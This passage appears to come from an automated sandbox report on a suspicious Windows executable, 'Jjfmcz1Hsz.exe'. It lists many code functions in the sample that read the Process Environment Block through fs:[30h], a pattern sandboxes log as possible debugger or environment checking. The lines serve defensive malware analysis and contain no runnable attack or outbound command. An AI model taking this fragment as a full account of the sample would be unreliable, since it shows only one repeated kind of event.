Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D8DADD6 mov eax, dword ptr fs:[00000030h]	11_2_1D8DADD6
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D82BDE0 mov eax, dword ptr fs:[00000030h]	11_2_1D82BDE0
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D82BDE0 mov eax, dword ptr fs:[00000030h]	11_2_1D82BDE0
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D82BDE0 mov eax, dword ptr fs:[00000030h]	11_2_1D82BDE0
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D82BDE0 mov eax, dword ptr fs:[00000030h]	11_2_1D82BDE0
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D82BDE0 mov eax, dword ptr fs:[00000030h]	11_2_1D82BDE0
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D82BDE0 mov eax, dword ptr fs:[00000030h]	11_2_1D82BDE0
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D82BDE0 mov eax, dword ptr fs:[00000030h]	11_2_1D82BDE0
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D82BDE0 mov eax, dword ptr fs:[00000030h]	11_2_1D82BDE0
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D84FDE0 mov eax, dword ptr fs:[00000030h]	11_2_1D84FDE0
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D8ECDEB mov eax, dword ptr fs:[00000030h]	11_2_1D8ECDEB
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D8ECDEB mov eax, dword ptr fs:[00000030h]	11_2_1D8ECDEB
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D8CFDF4 mov eax, dword ptr fs:[00000030h]	11_2_1D8CFDF4
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D8CFDF4 mov eax, dword ptr fs:[00000030h]	11_2_1D8CFDF4
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D8CFDF4 mov eax, dword ptr fs:[00000030h]	11_2_1D8CFDF4
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D8CFDF4 mov eax, dword ptr fs:[00000030h]	11_2_1D8CFDF4
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D8CFDF4 mov eax, dword ptr fs:[00000030h]	11_2_1D8CFDF4
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D8CFDF4 mov eax, dword ptr fs:[00000030h]	11_2_1D8CFDF4
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D8CFDF4 mov eax, dword ptr fs:[00000030h]	11_2_1D8CFDF4
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D8CFDF4 mov eax, dword ptr fs:[00000030h]	11_2_1D8CFDF4
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D8CFDF4 mov eax, dword ptr fs:[00000030h]	11_2_1D8CFDF4
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D8CFDF4 mov eax, dword ptr fs:[00000030h]	11_2_1D8CFDF4
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D8CFDF4 mov eax, dword ptr fs:[00000030h]	11_2_1D8CFDF4
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D8CFDF4 mov eax, dword ptr fs:[00000030h]	11_2_1D8CFDF4
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D81EDFA mov eax, dword ptr fs:[00000030h]	11_2_1D81EDFA
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D8B8D0A mov eax, dword ptr fs:[00000030h]	11_2_1D8B8D0A
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D82AD00 mov eax, dword ptr fs:[00000030h]	11_2_1D82AD00
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D82AD00 mov eax, dword ptr fs:[00000030h]	11_2_1D82AD00
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D82AD00 mov eax, dword ptr fs:[00000030h]	11_2_1D82AD00
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D82AD00 mov eax, dword ptr fs:[00000030h]	11_2_1D82AD00
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D82AD00 mov eax, dword ptr fs:[00000030h]	11_2_1D82AD00
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D82AD00 mov eax, dword ptr fs:[00000030h]	11_2_1D82AD00
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D840D01 mov eax, dword ptr fs:[00000030h]	11_2_1D840D01
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D8DBD08 mov eax, dword ptr fs:[00000030h]	11_2_1D8DBD08
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D8DBD08 mov eax, dword ptr fs:[00000030h]	11_2_1D8DBD08
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D84CD10 mov eax, dword ptr fs:[00000030h]	11_2_1D84CD10
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D84CD10 mov ecx, dword ptr fs:[00000030h]	11_2_1D84CD10
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D81FD20 mov eax, dword ptr fs:[00000030h]	11_2_1D81FD20
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D84AD20 mov eax, dword ptr fs:[00000030h]	11_2_1D84AD20
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D84AD20 mov eax, dword ptr fs:[00000030h]	11_2_1D84AD20
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D84AD20 mov eax, dword ptr fs:[00000030h]	11_2_1D84AD20
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D84AD20 mov ecx, dword ptr fs:[00000030h]	11_2_1D84AD20
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D84AD20 mov eax, dword ptr fs:[00000030h]	11_2_1D84AD20
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D84AD20 mov eax, dword ptr fs:[00000030h]	11_2_1D84AD20
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D84AD20 mov eax, dword ptr fs:[00000030h]	11_2_1D84AD20
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D84AD20 mov eax, dword ptr fs:[00000030h]	11_2_1D84AD20
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D84AD20 mov eax, dword ptr fs:[00000030h]	11_2_1D84AD20
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D84AD20 mov eax, dword ptr fs:[00000030h]	11_2_1D84AD20
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D8D0D24 mov eax, dword ptr fs:[00000030h]	11_2_1D8D0D24
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D8D0D24 mov eax, dword ptr fs:[00000030h]	11_2_1D8D0D24
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D8D0D24 mov eax, dword ptr fs:[00000030h]	11_2_1D8D0D24
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D8D0D24 mov eax, dword ptr fs:[00000030h]	11_2_1D8D0D24
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D8F4D4B mov eax, dword ptr fs:[00000030h]	11_2_1D8F4D4B
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D819D46 mov eax, dword ptr fs:[00000030h]	11_2_1D819D46
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D819D46 mov eax, dword ptr fs:[00000030h]	11_2_1D819D46
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D819D46 mov ecx, dword ptr fs:[00000030h]	11_2_1D819D46
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D89CD40 mov eax, dword ptr fs:[00000030h]	11_2_1D89CD40
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D89CD40 mov eax, dword ptr fs:[00000030h]	11_2_1D89CD40
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D8E5D43 mov eax, dword ptr fs:[00000030h]	11_2_1D8E5D43
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D8E5D43 mov eax, dword ptr fs:[00000030h]	11_2_1D8E5D43
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D83DD4D mov eax, dword ptr fs:[00000030h]	11_2_1D83DD4D
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D83DD4D mov eax, dword ptr fs:[00000030h]	11_2_1D83DD4D
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D83DD4D mov eax, dword ptr fs:[00000030h]	11_2_1D83DD4D
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D821D50 mov eax, dword ptr fs:[00000030h]	11_2_1D821D50
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D821D50 mov eax, dword ptr fs:[00000030h]	11_2_1D821D50
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D8A1D5E mov eax, dword ptr fs:[00000030h]	11_2_1D8A1D5E
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D835D60 mov eax, dword ptr fs:[00000030h]	11_2_1D835D60
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D8F5D65 mov eax, dword ptr fs:[00000030h]	11_2_1D8F5D65
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D85BD71 mov eax, dword ptr fs:[00000030h]	11_2_1D85BD71
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D85BD71 mov eax, dword ptr fs:[00000030h]	11_2_1D85BD71
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D817C85 mov eax, dword ptr fs:[00000030h]	11_2_1D817C85
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D817C85 mov eax, dword ptr fs:[00000030h]	11_2_1D817C85
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D817C85 mov eax, dword ptr fs:[00000030h]	11_2_1D817C85
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D817C85 mov eax, dword ptr fs:[00000030h]	11_2_1D817C85
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D817C85 mov eax, dword ptr fs:[00000030h]	11_2_1D817C85
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D8C9C98 mov ecx, dword ptr fs:[00000030h]	11_2_1D8C9C98
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D8C9C98 mov eax, dword ptr fs:[00000030h]	11_2_1D8C9C98
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D8C9C98 mov eax, dword ptr fs:[00000030h]	11_2_1D8C9C98
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D8C9C98 mov eax, dword ptr fs:[00000030h]	11_2_1D8C9C98
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D827C95 mov eax, dword ptr fs:[00000030h]	11_2_1D827C95
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D827C95 mov eax, dword ptr fs:[00000030h]	11_2_1D827C95
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D8DFC95 mov eax, dword ptr fs:[00000030h]	11_2_1D8DFC95
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D816CC0 mov eax, dword ptr fs:[00000030h]	11_2_1D816CC0
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D816CC0 mov eax, dword ptr fs:[00000030h]	11_2_1D816CC0
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D816CC0 mov eax, dword ptr fs:[00000030h]	11_2_1D816CC0
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D856CC0 mov eax, dword ptr fs:[00000030h]	11_2_1D856CC0
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D859CCF mov eax, dword ptr fs:[00000030h]	11_2_1D859CCF
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D82FCC9 mov eax, dword ptr fs:[00000030h]	11_2_1D82FCC9
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D83DCD1 mov eax, dword ptr fs:[00000030h]	11_2_1D83DCD1
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D83DCD1 mov eax, dword ptr fs:[00000030h]	11_2_1D83DCD1
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D83DCD1 mov eax, dword ptr fs:[00000030h]	11_2_1D83DCD1
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D85CCD1 mov ecx, dword ptr fs:[00000030h]	11_2_1D85CCD1
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D85CCD1 mov eax, dword ptr fs:[00000030h]	11_2_1D85CCD1
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D85CCD1 mov eax, dword ptr fs:[00000030h]	11_2_1D85CCD1
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D848CDF mov eax, dword ptr fs:[00000030h]	11_2_1D848CDF
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D848CDF mov eax, dword ptr fs:[00000030h]	11_2_1D848CDF
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D8F4CD2 mov eax, dword ptr fs:[00000030h]	11_2_1D8F4CD2
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D8B3CD4 mov eax, dword ptr fs:[00000030h]	11_2_1D8B3CD4
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D8B3CD4 mov eax, dword ptr fs:[00000030h]	11_2_1D8B3CD4
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D8B3CD4 mov ecx, dword ptr fs:[00000030h]	11_2_1D8B3CD4
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D8B3CD4 mov eax, dword ptr fs:[00000030h]	11_2_1D8B3CD4
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D8B3CD4 mov eax, dword ptr fs:[00000030h]	11_2_1D8B3CD4
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D817CF1 mov eax, dword ptr fs:[00000030h]	11_2_1D817CF1
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D823CF0 mov eax, dword ptr fs:[00000030h]	11_2_1D823CF0
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D823CF0 mov eax, dword ptr fs:[00000030h]	11_2_1D823CF0
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D84ECF3 mov eax, dword ptr fs:[00000030h]	11_2_1D84ECF3
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D84ECF3 mov eax, dword ptr fs:[00000030h]	11_2_1D84ECF3
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D89CCF0 mov ecx, dword ptr fs:[00000030h]	11_2_1D89CCF0
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D852C10 mov eax, dword ptr fs:[00000030h]	11_2_1D852C10
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D852C10 mov eax, dword ptr fs:[00000030h]	11_2_1D852C10
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D852C10 mov eax, dword ptr fs:[00000030h]	11_2_1D852C10
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D852C10 mov eax, dword ptr fs:[00000030h]	11_2_1D852C10
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D833C20 mov eax, dword ptr fs:[00000030h]	11_2_1D833C20
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D83AC20 mov eax, dword ptr fs:[00000030h]	11_2_1D83AC20
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D83AC20 mov eax, dword ptr fs:[00000030h]	11_2_1D83AC20
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D83AC20 mov eax, dword ptr fs:[00000030h]	11_2_1D83AC20
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D8E5C38 mov eax, dword ptr fs:[00000030h]	11_2_1D8E5C38
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D8E5C38 mov ecx, dword ptr fs:[00000030h]	11_2_1D8E5C38
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D854C3D mov eax, dword ptr fs:[00000030h]	11_2_1D854C3D
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D818C3D mov eax, dword ptr fs:[00000030h]	11_2_1D818C3D
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D81DC40 mov eax, dword ptr fs:[00000030h]	11_2_1D81DC40
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D833C40 mov eax, dword ptr fs:[00000030h]	11_2_1D833C40
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D8F4C59 mov eax, dword ptr fs:[00000030h]	11_2_1D8F4C59
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D8A3C57 mov eax, dword ptr fs:[00000030h]	11_2_1D8A3C57
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D833C60 mov eax, dword ptr fs:[00000030h]	11_2_1D833C60
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D833C60 mov eax, dword ptr fs:[00000030h]	11_2_1D833C60
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D833C60 mov eax, dword ptr fs:[00000030h]	11_2_1D833C60
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D833C60 mov eax, dword ptr fs:[00000030h]	11_2_1D833C60
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D833C60 mov ecx, dword ptr fs:[00000030h]	11_2_1D833C60
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D833C60 mov ecx, dword ptr fs:[00000030h]	11_2_1D833C60
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D833C60 mov eax, dword ptr fs:[00000030h]	11_2_1D833C60
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D833C60 mov ecx, dword ptr fs:[00000030h]	11_2_1D833C60
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D833C60 mov ecx, dword ptr fs:[00000030h]	11_2_1D833C60
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D833C60 mov eax, dword ptr fs:[00000030h]	11_2_1D833C60
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D833C60 mov ecx, dword ptr fs:[00000030h]	11_2_1D833C60
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D833C60 mov ecx, dword ptr fs:[00000030h]	11_2_1D833C60
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D833C60 mov eax, dword ptr fs:[00000030h]	11_2_1D833C60
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D833C60 mov eax, dword ptr fs:[00000030h]	11_2_1D833C60
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D833C60 mov eax, dword ptr fs:[00000030h]	11_2_1D833C60
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D833C60 mov eax, dword ptr fs:[00000030h]	11_2_1D833C60
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D833C60 mov eax, dword ptr fs:[00000030h]	11_2_1D833C60
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D833C60 mov eax, dword ptr fs:[00000030h]	11_2_1D833C60
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D833C60 mov eax, dword ptr fs:[00000030h]	11_2_1D833C60
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D833C60 mov eax, dword ptr fs:[00000030h]	11_2_1D833C60
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D81CC68 mov eax, dword ptr fs:[00000030h]	11_2_1D81CC68
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D85BC6E mov eax, dword ptr fs:[00000030h]	11_2_1D85BC6E
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D85BC6E mov eax, dword ptr fs:[00000030h]	11_2_1D85BC6E
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D820C79 mov eax, dword ptr fs:[00000030h]	11_2_1D820C79
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D820C79 mov eax, dword ptr fs:[00000030h]	11_2_1D820C79
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D820C79 mov eax, dword ptr fs:[00000030h]	11_2_1D820C79
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D828C79 mov eax, dword ptr fs:[00000030h]	11_2_1D828C79
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D828C79 mov eax, dword ptr fs:[00000030h]	11_2_1D828C79
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D828C79 mov eax, dword ptr fs:[00000030h]	11_2_1D828C79
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D828C79 mov eax, dword ptr fs:[00000030h]	11_2_1D828C79
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D828C79 mov eax, dword ptr fs:[00000030h]	11_2_1D828C79
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D8A8F8B mov eax, dword ptr fs:[00000030h]	11_2_1D8A8F8B
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D8A8F8B mov eax, dword ptr fs:[00000030h]	11_2_1D8A8F8B
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D8A8F8B mov eax, dword ptr fs:[00000030h]	11_2_1D8A8F8B
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D830F90 mov eax, dword ptr fs:[00000030h]	11_2_1D830F90
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D830F90 mov ecx, dword ptr fs:[00000030h]	11_2_1D830F90
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D830F90 mov eax, dword ptr fs:[00000030h]	11_2_1D830F90
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D830F90 mov eax, dword ptr fs:[00000030h]	11_2_1D830F90
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D830F90 mov eax, dword ptr fs:[00000030h]	11_2_1D830F90
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D830F90 mov eax, dword ptr fs:[00000030h]	11_2_1D830F90
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D830F90 mov eax, dword ptr fs:[00000030h]	11_2_1D830F90
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D830F90 mov eax, dword ptr fs:[00000030h]	11_2_1D830F90
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D830F90 mov eax, dword ptr fs:[00000030h]	11_2_1D830F90
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D830F90 mov eax, dword ptr fs:[00000030h]	11_2_1D830F90
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D830F90 mov eax, dword ptr fs:[00000030h]	11_2_1D830F90
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D830F90 mov eax, dword ptr fs:[00000030h]	11_2_1D830F90
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D830F90 mov eax, dword ptr fs:[00000030h]	11_2_1D830F90
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D84BF93 mov eax, dword ptr fs:[00000030h]	11_2_1D84BF93
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D821FAA mov eax, dword ptr fs:[00000030h]	11_2_1D821FAA
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D824FB6 mov eax, dword ptr fs:[00000030h]	11_2_1D824FB6
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D84CFB0 mov eax, dword ptr fs:[00000030h]	11_2_1D84CFB0
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D84CFB0 mov eax, dword ptr fs:[00000030h]	11_2_1D84CFB0
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D858FBC mov eax, dword ptr fs:[00000030h]	11_2_1D858FBC
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D81BFC0 mov eax, dword ptr fs:[00000030h]	11_2_1D81BFC0
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D8A1FC9 mov eax, dword ptr fs:[00000030h]	11_2_1D8A1FC9
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D8A1FC9 mov eax, dword ptr fs:[00000030h]	11_2_1D8A1FC9
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D8A1FC9 mov eax, dword ptr fs:[00000030h]	11_2_1D8A1FC9
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D8A1FC9 mov eax, dword ptr fs:[00000030h]	11_2_1D8A1FC9
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D8A1FC9 mov eax, dword ptr fs:[00000030h]	11_2_1D8A1FC9
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D8A1FC9 mov eax, dword ptr fs:[00000030h]	11_2_1D8A1FC9
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D8A1FC9 mov eax, dword ptr fs:[00000030h]	11_2_1D8A1FC9
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D8A1FC9 mov eax, dword ptr fs:[00000030h]	11_2_1D8A1FC9
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D8A1FC9 mov eax, dword ptr fs:[00000030h]	11_2_1D8A1FC9
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D8A1FC9 mov eax, dword ptr fs:[00000030h]	11_2_1D8A1FC9
